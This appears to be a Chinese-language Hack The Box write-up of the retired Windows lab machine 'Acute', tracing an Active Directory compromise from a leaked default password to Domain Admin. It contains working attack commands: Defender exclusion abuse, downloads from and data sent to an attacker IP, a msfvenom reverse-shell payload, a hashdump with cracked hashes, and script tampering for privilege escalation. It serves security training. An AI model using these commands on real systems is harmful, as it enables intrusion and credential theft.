[HTB] Acute Writeup
2023-8-28 15:16:9 Author: 一个人的安全笔记(查看原文) 阅读量:8 收藏

概述 (Overview)

HOST: 10.10.11.146

OS: WINDOWS

发布时间: 2022-02-12

完成时间: 2022-07-01

机器作者: dmw0ng[1]

困难程度: Hard

机器状态: 退休

MACHINE TAGS: #ActiveDirectory #PowerShell #WindowsDefenderAV

攻击链 (Kiillchain)

HTB 关于 Acute :

Acute 是一台 Hard 难度的 Windows 机器,从端口 443 上的网站开始。该网站的证书显示了一个域名 atsserver.active.local 。环顾网站,有几名员工被提及,有了这些信息,就可以在远程机器上构建一个可能的用户列表。列举一下网站,就会发现一份表格,里面有关于公司新员工的程序。该表单显示所有帐户最初设置时使用的默认密码。它还显示了 Windows PowerShell Web访问(PSWA)会话的链接。结合枚举过程中的所有可用信息,攻击者可以作为 Acute-PC01 上的用户 edavies 进入 PowerShell 会话。然后,发现用户 edavies 也使用交互式会话登录。在监视 edavie 的行为时,可以检索 ATSERVER 的 imonks 用户的明文密码。用户 imonks 在 ATSSERVER 上的 Just Enough Administration (JEA)下运行,但即使使用有限的命令集,攻击者也可以修改 ATSSERVER 上的脚本,以使 edavies 成为 Acute-PC01 上的本地管理员。既然 edavies 是本地管理员,就可以从系统中检索 HKLM\sam 和 HKLM\system ,以便提取所有用户的密码哈希。管理员's 的散列被证明是可破解的,明文密码被重新用于 ATSSERVER 上的 awallace 。用户 awallace 能够在用户 Lois 将执行的目录上创建 BAT 脚本Lois有权将 imonks添加到site_admin组,而该组又有权访问Domain Admins组。因此,在将imonks添加到site_admin组后,他可以将自己添加到Domain Admins` 组并获得管理权限。

枚举(Enumeration)

开始依然是使用 Nmap 对目标服务器开放端口进行扫描。

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Issuer: commonName=acute-ATSSERVER-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-06T06:34:58
| Not valid after:  2030-01-04T06:34:58
| MD5:   cf3a d387 8ede 75cf 89c1 8806 0b6b c823
|_SHA-1: f954 d677 0cf3 54df 3fa2 ed4f 78c3 1902 c120 a368
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-07-01T03:56:43+00:00; 0s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

服务器只对外暴漏了一个 443 端口,在 ssl 证书中能够获悉该 Web 服务对应的域名。

Port 443 - WPWA

将域名 atsserver.acute.local 加入到 hosts 文件后进行访问,Web 服务访问正常。

随后在浏览页面也没功能时,发现一个可下载的 Word 文档。

https://atsserver.acute.local/New_Starter_CheckList_v7.docx

从里面的内容中大致判断是和远程培训有关,点击里面的链接能够跳转到一个 WPWA 的登录界面。

Windows PowerShell Web 访问使用户可登录到安全的网站,以使用 Windows PowerShell 会话、cmdlet 和脚本管理远程计算机。

立足点(Foothold)

知道它是干什么的之后,就需要寻找可访问 WPWA 的账号凭证了。在 Word 文档中可以得到一个初始化的默认密码:Password1!

密码有了开始找用户名,使用 exiftool 工具可以看到文档创建者为:FCastle,其中备注信息中含有机器名:Acute-PC01。当然,在 Word 文档属性中也能得到这些信息。

将这些信息进行汇总后,尝试登录但失败了。

这个地方卡了我挺久的。最后在 Web 页面中发现存在一些人名,尝试将这些姓名转换成账号进行登录。

账号列表:

cat users.txt
lois
muse
myJob
dc_manage
fcastle
Acute-PC01
awallace
chall
edavies
imonks
jmorgan
lhopkins

最终在尝试使用 edavies 账号进行登录时成功了,进行了 WPAW 交互控制台。

edavies:Password1!:Acute-PC01

横向移动(Lateral Movement)

简单查看下目录发现没有 user flag 信息,说明需要进行账号横向移动。首先检查下服务器中的登录用户:

PS C:\Users\edavies> net users
Administrator            DefaultAccount           Guest
Natasha                  WDAGUtilityAccount
PS C:\Users> dir
Directory: C:\Users
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----                                    d-----        12/21/2021   1:01 PM                administrator.ACUTE
d-----        12/22/2021   1:26 AM                edavies
d-----        12/21/2021  10:50 PM                jmorgan
d-----        11/19/2021   9:29 AM                Natasha
d-r---        11/18/2020  11:43 PM                Public

在查看网卡信息时发现 IP 地址是一个 172 开头的地址,而非服务器 10 开头的地址。说明当前可能在虚拟容器。

搜索引擎查询网卡描述信息时,发现 Hyper-V 是 Microsoft 的硬件虚拟化产品。使用 Test-NetConnection 命令对网关 IP 进行验证,发现该命令是可以使用的。

尝试将 nishang 中端口扫描脚本传递至目标服务器,失败了。从错误提示中可以看到被 Windows Defender AV 阻断了,这里我没需要进行 bypass。

在尝试 AMSI Bypass 之前,通过 google 搜索了解到在 Windows 11 以下版本中,任意用户都可以通过查询注册表信息找到 AV 配置的白名单目录。

https://twitter.com/splinter_code/status/1481073265380581381

Windows Defender AV 允许每个人读取系统上配置的排除项.

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

从结果中可以看到 C:\Utils 文件夹存在白名单中,接下来就简单了,将端口扫描脚本、peas 等脚本直接传到该文件下运行即可。

PS C:\Utils> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\Utils> ./winPEASx64.exe > winPEASx64.txt
PS C:\Utils> cmd /c '.\ncat.exe -nv 10.10.14.12 9091 < .\winPEASx64.txt'

对 NC 接收到扫描报告进行分析,发现 edge 浏览器是处于运行状态。

随后尝试上线 MSF 控制,并进行桌面截图看看它在做什么。

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe
# msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost <ip>; set lport <port>; exploit"

将生成的 reverse.exe 可执行文件传达至 C:\Utils 文件夹内,运行上线后执行 screenshare 命令获取截图(screenshare功能可以定期截取目标桌面的屏幕截图,并允许攻击者在线预览)。

meterpreter > screenshare
[*] Preparing player...
[*] Opening player at: /home/x/hackthebox/Acute/file/FVOyjijg.html
[*] Streaming...

可以看到用户正在进行 PowerShell 凭证登录,但出现了大量的报错。将里面的信息进行提取:

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $creds

可以看到,在执行最后一段内容时出现错误:访问被拒绝。这意味用户账号无权限创建从当前主机到目标主机的远程 PowerShell 会话,怀疑是配置权限问题。

但我们可以借助 invoke-command 命令来在本地或远程计算机上运行命令。

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}

权限提升(Privilege Escalation)

可以看到在 imonks 用户下除了 user.txt 文件,还存在一个 wm.ps1 脚本。

PS C:\Utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -command {cat "..\Desktop\wm.ps1"}
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>

这个脚本使用的身份凭证是 jmorgan 用户,而上面的两个用户都属于域用户:

这里的 jmorgan 用户上线也很简单,直接将 Get-Volume 内容替换成 cmd 执行就可以了。

PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {(Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -Replace 'Get-Volume''cmd.exe /c c:\utils\reverse.exe' | Set-Content "c:\users\imonks\Desktop\wm.ps1"}

再次通过 Invoke-Command 进行命令执行,成功上线拿到 jmorgan 用户。

eterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
...snip...
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
meterpreter > execute -f cmd.exe -i -H
Process 4908 created.
Channel 3 created.
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.

C:\Users\jmorgan\Documents>

在检查用户权限时发现它具备 SeDebugPrivilege 权限,那么可以很轻松的利用这一特性将机器上的 NTLM HASH 进行 dump。接下里来就是对 Administrator 账号的 HASH 离线破解了。

$ hashcat -a 0 -m 1000 ./hashdump.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O

a29f7623fd11550def0192de9246f46b:[email protected]123

明文密码是得到了,但在操作 Administrator 用户执行命令是出现错误,说明域 Administrator 使用的不是这个密码。尝试碰撞下其他的账号,发现 awallace 账号使用了该密码。

$passwd = ConvertTo-SecureString "[email protected]" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd)
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}

查看下用户所属组,含 Domain UsersManagers 两个组。

在查看所有组信息时,发现一个 Site_admin 组,描述信息中注明可以访问操作域管理员组。

但直接进行添加是无法生效的,需要寻找其他路径。在 C:\Program Files\keepmeon\ 文件夹中找到突破口,该脚本 Lois 用户会每五分钟执行一次。

而通过之前的 Word 文档中对 Lois 用户的描述,他是唯一有权更改域组成员资格的人员。

所以这里的权限提升路径已经很清晰了,在 Keepmeon 文件夹内新建一个 bat 脚本,将任意用户添加至 Site_Admin 组即可。

PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\0x584a1.bat' -Value 'net group "Site_Admin" awallace /add /domain'}
PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {ls 'c:\program files\Keepmeon\'}

最终使用 awallace 账号成功已域管理员身份读取到 Administrator 目录的 root flag。

参考

  • • https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

  • • https://github.com/InfosecMatter/Minimalistic-offensive-security-tools.git

  • • https://www.pstips.net/

引用链接

[1] dmw0ng: https://app.hackthebox.com/users/610173


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652491082&idx=1&sn=9ff67faa70269e375b038c8d97d109c0&chksm=8c94599dbbe3d08becd9ab3330b7c0e632166ef1d1f907b9ef381cc901d553af7eaa24e1ad8c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh